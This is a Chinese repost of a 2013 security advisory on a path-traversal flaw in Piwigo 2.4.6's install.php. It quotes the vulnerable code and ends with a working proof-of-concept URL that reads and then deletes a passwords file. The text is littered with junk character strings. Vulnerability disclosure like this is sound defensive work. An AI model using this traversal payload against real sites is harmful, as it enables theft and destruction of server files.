Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
8 a: ~0 ]  Y& p! W; y" |
7 W- A- J4 Z2 ]% c/ SPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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' o( w- {0 o/ S  `: X; H/install.php:
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5 e( x3 [9 i; B113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
5 a1 ~' C( G! R2 I5 f0 Y! b118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
( D9 Q3 r% Q0 K121:   echo file_get_contents($filename);
0 S" r0 e$ e: H, \9 _122:   unlink($filename);
* H9 m# K- {) z, g* Z123:   exit();
9 M$ O( L1 u" }7 X124: }
( B$ |. d# N* Z8 n, A! Z====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
' h" I, G( i: b" O6 T& V: s* h           Apache 2.4.2 (Win32)
           PHP 5.4.4
5 j  ~/ n6 Y9 z$ ^6 N           MySQL 5.5.25a
! ]+ s- B# e* @$ [( P
  e0 i% {, c/ z. tVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
2 ?# w$ u* {# o3 hVendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt